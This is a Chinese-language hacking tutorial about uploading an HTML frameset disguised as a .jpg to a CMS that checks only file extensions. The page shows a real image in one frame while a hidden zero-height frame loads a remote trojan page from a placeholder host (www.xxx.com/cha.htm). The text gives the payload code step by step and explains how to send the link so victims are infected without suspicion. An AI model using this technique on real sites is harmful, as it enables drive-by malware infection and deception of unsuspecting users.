这个漏洞适用于所有只检查上传文件格式的程序， 把图片改成HTML代码， 上传后可执行 做转向， 发现的过程是我今天看了一下某门户网站的BBS上做了过滤， 上传失败， 然后回到主页上， 发现是动力系统， 于是注册了一个帐号， 然后到个人管理里， 看到添加文章里面 能上传、文件， 于是开始想利用的过程。 我开始的构思是直接上传这样一个程序。
其实这样有很大一个漏洞， 别人打开这些JPG网页后， 图片显示不出来， 自然别人就会起疑心， 想到了前段时间的CHM网页木马的制作的方法， 变相的利用它应该能达到这样的效果吧？假如代码为：
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize
marginwidth="0" margingheight="0">
</frameset>
这样的一个index.htm， 上传后发现失败， 直接显示原代码。 于是在代码的开头结尾加了如下的代码：
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize
marginwidth="0" margingheight="0">
</frameset></html>
测试后页面已经成了一个木马页面， 但是这个木马一定要有个CHM的人才行， 网站不可能专门提供你上传这个类型的文件吧？！于是想到远程的调用， 后把Index.jpg改为代码：
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"
scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>
上传后发现 ， 防火墙成功提示病毒， 但是别人打开这个页面的时候直接是大红XX， 有脑子的人都会怀疑。 于是想到把这个页面打开后看成一个图片， 接着直接把上面的代码改成：
<html>
<frameset rows="444,0" cols="*">
<frame src="/UpLoadFiles/NewsPhoto/omasuiai.jpg" framborder="no"
scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"
scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>
这样打开这个页面的时候正常显示图片， 木马也能中了！前提是要把这个图片页面发给别人， 例如：www.***.com/UpLoadFiles/NewsPhoto/08aXXXXX.jpg， 对方打开后还以为是看到了一张图片， 其实他已经中木马了， 再怎么说这个也是上传的图片， 而且可以上传到自己的站里， 不会有人怀疑的！
……